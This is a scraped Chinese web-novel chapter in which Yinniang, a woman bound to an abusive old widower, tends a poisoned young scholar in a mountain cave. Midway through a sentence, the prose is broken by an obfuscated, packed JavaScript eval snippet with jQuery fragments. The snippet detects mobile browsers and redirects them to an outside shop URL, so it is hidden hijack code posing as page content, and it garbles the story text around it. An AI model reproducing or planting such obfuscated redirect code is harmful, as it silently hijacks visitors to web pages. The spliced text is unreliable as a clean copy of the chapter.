默认冷灰
24号文字
方正启体

2. 他好热

作者:卿之只本书字数:K更新时间:
    音娘自小五感灵敏,漆黑中能依着人体味靠近,还未至跟前,便觉浑身发烫,犹如熔炉灼烧,她想许是白面书生生寒发热引起。


    领子扯下半页,凉风泄入,才觉自然些。


    心中不免忐忑,故而再三告诫,“我救你和救一只夜猫无异,公子切勿多念,但,我也并非菩萨,答应救助,便是为了公子日后也有所答。”


    白面书生浅声笑,又与嘲讽不同,像是故意逗她,此女子倒是活得实在。


    “笑什么,先答应了,才会救你。”音娘义正辞严,她觉着读书人更应懂知恩图报,不需要自己点醒才是。


    黑暗中瞬即停了摸索前进,像是在特地给他承诺机会。


    男子诚恳十足,黑暗中举起了旁人看不见的三指,“某在此发誓,若姑娘助我渡过此劫,来日必将百倍奉还。”


    音娘这才放心,但戒备心尚不能全无,“你姓甚名谁,年岁几何,家住何处?”眉目一黯,她恐怕这辈子都走不出去长康村。


    “锦州,崔协礼,年二十。”


    崔实,字协礼。


    比她小两岁,那就是个弟弟。


    “城里来的?那可是鼎鼎有名的州城。”音娘眼睛放亮。


    “锦州虽繁荣,却也是蠹虫遍地,我倒羡慕姑娘享山清水秀。”若不是这次圣上点名查案,也没机会来这种地方,倒是难得清静几日。


    音娘察出他向往这里,若是知此处贫穷,满是算计,禁锢,估计带着病也得跑。


    “可否问姑娘芳名?”


    “协礼是想记住姑娘名字,好将来答谢。”


    音娘还以为他也要敲诈一笔。可将来之事谁也说不准,万一病好了就走了呢。


    “可唤我音娘。我不曾读书,你教我写字可好?”音娘忽然醒悟,若是白面书生能教她识字本领,自己也不算亏。


    “好。”


    音娘。


    男子继续说,“山中地势复杂,毒瘴笼罩,蛇虫鼠蚁颇多,姑娘日日进山恐不妥,如若方便……”


    也携他回家中。


    话未说完,音娘先声,“这不是问题,公子别担心了。”


    崔实敛眉,出口要一个女子收留他,是不成体统。


    音娘暗自笑他见识少,此处于她而言比家中还熟悉。但难得他身陷囹圄,还愿关心旁人,许是莲姐姐说的那种端方持重的文雅公子,便稍稍放心。


    商量妥帖后,音娘在漆黑中爬到他周围,忽而碰到一处灼热,她连忙缩回,连连吹气,“什么东西这般滚烫?”


    只传来一声闷咳,“失礼了,协礼怕姑娘寻不到……是某的胸膛。”他痛得要命,便自己爬过去找些草药,却不小心碰到……


    “我自己会走。”音娘些许愠怒。


    白面书生虽为她好,但男女授受不亲,此操行有辱她,音娘念着此人生病好心才放过,不然定是要损他几块皮.肉。


    卖给老鳏夫十五载,她从未在性.事上屈服,落下的伤也大多因此而来。


    何有柳也常想辱她,音娘反抗不得,犯呕至晕厥,便将几日的潲水全倒身上,臭熏几里,何有柳才愤气罢休。


    争斗了数十载,如今她不会轻易相信男子。


    没有她的允许,任何人都不准碰她。


    “你便安静躺着,让我来。”音娘提醒说。


    崔实知此女子行事得体,将手安静地伸回去。胸前被毒剑所伤,虽暂时未危及生命,但若再不及时救治,怕是毒入骨髓时,无力回天。


    故而才脱了衣裳。


    倒是他失了礼数,该寻问先。摸着穿上,料子喇着带胸前带毒伤口剧痛,更有一股迷人异香紊乱,使他难压下呜咽。


    “你,你别喘气……”她虽不懂男女情事,却也听得脸红心跳。


    “抱歉,某实在太痛,并非挑逗姑娘。”


    原来是自己多想了,音娘很快便气消,这种事她能现下解决,便不会多想。


    落雨阴凉,洞中又常年潮湿,怎会如烘炉般,音娘额间冒汗,浑身发烫,棉麻衣衫闷热,外人在她又褪不得。


    只好无奈问,“崔公子可察觉到气候异样?”


    崔实仔细闻洞中气息,香味浓郁,区别于洞中植香,而是体香,且与适才味道一致,观方向,是面前小娘子所携。


    锦州胭脂粉末遍地,大多庸俗,从未这般好闻,而这种肤体兰香,竟有缓解疼痛奇效,可为何越加晕眩,窒息感使他不由深重喘息。


    “好香……”吸入越多,脑中越乱。


    轰鸣雷声,音娘听不清他说什么,恐再不降温,怕是要烧得不省人事。


    音娘赶紧从竹篓摸出草药,戴上自己缝制的手衣,每日给老鳏夫擦身子,隔绝服肤体接触,这样她才不会膈应。


    闻香味越来越近,崔实不由得屏气凝神,却因重伤脆弱,被异香乱神,迷迷糊糊倒下。


    音娘听到倒下声音,着急询问,“崔公子?”


    那人未回答,雨势停了。得赶在日落前将白面书生救助。


    老鳏夫渔民出身,力大如牛,曾一日摔下几尺床榻,不伤皮毛,此男子嗓音年轻,该是更能抗。


    先不管好歹,音娘随意抓到两处,因体型差异,音娘只好将他拖出敞亮洞外医治。


    旋即一张精美秀气的脸躺在云雾初开中,白得发亮,方才雷光照射可比白昼,再一看竟是白昼也输几分,她从未见过这般肤白细嫩之人,还是男儿。


    音娘偷感十足,甚至有些报复性凝视,素日老鳏夫连她看年轻男子都管束,忽然来了外地的俊俏白面书生,便生许多好奇。


    他眉角柔和,似养在书香门第才润出的宽容,鼻梁高挺,又将整体添了些锋利,流畅的唇瓣不笑似笑,此人伤病晕厥,唇瓣却是晶莹剔透,一池春江水……


    音娘噗嗤大笑,她想起老鳏夫那张麻子脸,又作呕地摇头……


    便是看了十多年,也无所适从。


    男人与男人之间竟是鸿沟之别。


    她说不出文绉绉夸赞话,像是摘了一支长生不老的仙草,捡了个价值连城的珍珠河蚌,甚至比这些更为惊喜。


    喉结尖棱昂扬,汗滴卧在上方,初日照耀,仿佛是跳动,音娘不自吞咽口水,脸颊羞红。


    再一看,见他衣物松松垮垮挂在肩上,露出一臂蓬勃带血的洁白,虚掩的胸膛不漏似漏,漆黑中她胡乱摸了一道,是那里吗……


    指腹隐隐作酸。


    虽晕倒,某些地方却勃勃生机。


    外面的男人都长这般……


    音娘摸着下巴匪夷所思,嘴角露出笑意,仿佛是在欣赏美味珍馐。


    再往下看,他下身穿着褐色衣袍,宽身窄腰,身姿伟岸,若只观身材,难看出是只会吟诗作对的白面书生。


    这是他见过身段最凶猛的男人,比老鳏夫还要壮硕,说是武将也不出奇。


    甚至长寿村无人能与他相比,男子的优越使她生出了不该有的忮忌,到底是什么好山好水才能养着这般绝妙的男儿身……


    竟最后生出莫有的恨意来。等人忍不住痛意呜咽连连,她才想起来自己该干嘛的。


    扒开胸口,靠近腹脐的肤体被刺伤,血肉黑红,音娘眉色一紧,怪不得此人要给她百倍报答,再晚点小命怕是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587996|205364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    难保。


    肤热隔着手衣也感灼烧,冬日火炉还没这般烫。


    她飞速从洞口捡了块长条石子,从竹篓挑了些解毒止血缓痛的草药,于地上捣碎后敷在伤处。


    喃喃自语道,“这种毒我没见过,但能救你的也只有我了,死马当活马医,为数不多的名贵草药全都用你身上,能不能活下来,靠你自己。”


    要是救不活,这些草药就全都白费了。


    音娘后悔地打量白面书生周身。


    看到腰间佩戴藏青銙带,末端系圆润透绿玉佩,这料子一看便知昂贵,何有柳极奢要面也未有此宝物,私心作祟,音娘很想看个究竟。


    轻轻一掀銙带便脱落下来,仿佛自动到她手中,音娘捧着左看右看,最后露出一抹满意笑容。


    锦州来的人非富即贵,就连这銙带和玉佩也价值连城,而她全身最值钱便是亵衣,托素莲特地从县里带回来的。


    忽而胸口有些发闷,音娘将銙带撂下,拾掇东西快步走。


    音娘离去时到河中洗净血迹,再随便剐些草敷衍老鳏夫,反正他不懂。


    吴三汉手撑着头侧躺在污迹斑驳的木床榻上,脸上和淤积了几十载的汗泥一样黑臭。


    一张口满是水沟腐臭,脱落得只剩几个黑齿摇摇欲坠地挂在上颚,他把拐杖往音娘头上狠狠一砸,气得浑身发抖,辱骂道,“死娘们又去勾搭……”


    还未说完,音娘甩下草药,哭声作骂,“你整日就会诅咒,今天我显些被山中落石砸死,现而身上全是伤,我死了你高兴,我死了谁照顾你,叫你在茅屋腐烂臭是好!”


    老鳏夫气得更是上下急喘,近古稀之年,皮肉耷拉下一块皮,脸上的老麻子因其面目狰狞而糊作一团。


    嘴里骂着些不完整的粗话,音娘懒得理,将十文钱放他榻上,转身去做食。


    一面淘米一面落泪,想到了那白面郎君,便更加恨老鳏夫,甚至想同归于尽,不过一会儿她又打消了念头。


    大邕律法严苛,杀人者不因动机定好坏,一律同罪而论,何有柳虽是大官,却也不敢做谋财害命之事,她来长康村十七载未见闻哪家杀人。


    今早黑衣人作乱乃破天荒一次。


    淘净米水,音娘去烧柴煮粥,完了盛好端去给老鳏夫。


    “今日钱少,你若私藏我打死你这小娘们!”吴三汉恶狠狠道,扒拉稀粥,骂人气意激增,“怎么没一块肉?”


    “我……”音娘想着如何诓骗,忽然灵机一动,“草市今日来了作乱之人,肉类尽毁坏,昨个儿我抓了一只老鼠,若不嫌弃我便宰了给你吃。”


    吴三汉气出一口血,奈何眼前该扔的东西全都扔了,什么也打不着她,“我死了,你,你也得跟着死,村中人不会放过你……”


    音娘早已对老鳏夫的口舌免疫,淡淡然,“我死了,你也得死。但你放心,我不会走你前头。”


    她要等老鳏夫死后,自己过好日子去。


    老鳏夫又在痴人说梦,“你这娘们儿别硬气,届时我一进坟头,把这些全烧干净,这里可再没你容身之地,还要将你卖给人牙子,永脱不了身。”


    这一番话让音娘彻底蔫焉。


    老鳏夫虽行动不便,却是一家主事,加诸村中人帮忙,音娘对抗无异于蚍蜉撼树。


    能屈忍便屈忍,毕竟房契钱财全都在他手里,靠自己每日存下的几文钱根本无法独自过活。


    音娘泄气,旋即恭恭敬敬地坐着等老鳏夫差遣,服侍食完她再食用。


    她对老鳏夫手中多少钱财不在乎,卖身契尚在他手里,就盼着他有朝一日能去官服除附,还她自由身。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)